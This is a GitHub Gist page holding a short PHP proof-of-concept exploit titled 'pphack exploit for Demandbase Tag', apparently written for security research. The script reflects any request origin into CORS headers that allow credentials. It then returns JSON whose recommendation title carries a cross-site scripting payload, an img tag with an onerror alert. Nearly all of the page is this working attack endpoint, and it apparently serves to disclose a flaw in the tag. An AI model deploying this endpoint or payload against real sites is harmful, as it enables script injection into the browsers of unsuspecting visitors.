Created
January 27, 2025 11:03
-
-
Save edoardottt/6ac734f90d324eff35076b5315532a2a to your computer and use it in GitHub Desktop.
pphack exploit for Demandbase Tag
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ($_SERVER ['HTTP_ORIGIN']) | |
{ | |
$origin = $_SERVER ['HTTP_ORIGIN']; | |
} | |
else | |
{ | |
preg_match ('/^https?:\/\/[^\/]+/', $_SERVER ['HTTP_REFERER'], $matches); | |
$origin = $matches [0]; | |
} | |
header ('Access-Control-Allow-Origin: '.$origin); | |
header ('Access-Control-Allow-Credentials: true'); | |
header ('Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, HEAD'); | |
header ('Content-Type: application/json'); | |
http_response_code (201); | |
echo '{"company_name":"XSS","recommendations":[{"title":"<img src=x onerror=alert(1337)>"}],"should_display":true}'; | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment